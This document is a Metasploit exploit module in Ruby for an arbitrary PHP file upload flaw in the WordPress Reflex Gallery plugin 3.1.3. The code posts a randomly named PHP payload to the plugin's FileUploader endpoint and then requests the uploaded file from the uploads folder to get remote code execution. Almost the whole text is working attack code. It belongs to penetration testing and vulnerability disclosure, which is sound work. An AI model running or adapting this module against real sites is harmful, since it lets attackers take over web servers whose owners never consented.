WordPress Reflex Gallery Upload

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::HTTP::Wordpress  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Wordpress Reflex Gallery Upload Vulnerability',  
'Description' => %q{  
This module exploits an arbitrary PHP code upload in the WordPress Reflex Gallery  
version 3.1.3. The vulnerability allows for arbitrary file upload and remote code execution.  
},  
'Author' =>  
[  
'Unknown', # Vulnerability discovery  
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['EDB', '36374'],  
['OSVDB', '88853'],  
['WPVDB', '7867']  
],  
'Privileged' => false,  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [['Reflex Gallery 3.1.3', {}]],  
'DisclosureDate' => 'Dec 30 2012', # OSVDB? EDB? WPVDB? Cannot set the date.  
'DefaultTarget' => 0)  
)  
end  
  
def check  
check_plugin_version_from_readme('reflex-gallery', '3.1.4')  
end  
  
def exploit  
php_pagename = rand_text_alpha(8 + rand(8)) + '.php'  
  
data = Rex::MIME::Message.new  
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"qqfile\"; filename=\"#{php_pagename}\"")  
post_data = data.to_s  
  
time = Time.new  
year = time.year.to_s  
month = "%02d" % time.month  
  
res = send_request_cgi({  
'uri' => normalize_uri(wordpress_url_plugins, 'reflex-gallery', 'admin', 'scripts', 'FileUploader', 'php.php'),  
'method' => 'POST',  
'vars_get' => {  
'Year' => "#{year}",  
'Month' => "#{month}"  
},  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => post_data  
})  
  
if res  
if res.code == 200 && res.body =~ /success|#{php_pagename}/  
print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")  
register_files_for_cleanup(php_pagename)  
else  
fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload, server returned #{res.code}")  
end  
else  
fail_with(Failure::Unknown, 'Server did not respond in an expected way')  
end  
  
print_status("#{peer} - Calling payload...")  
send_request_cgi(  
'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', "#{year}", "#{month}", php_pagename)  
)  
end  
end  
`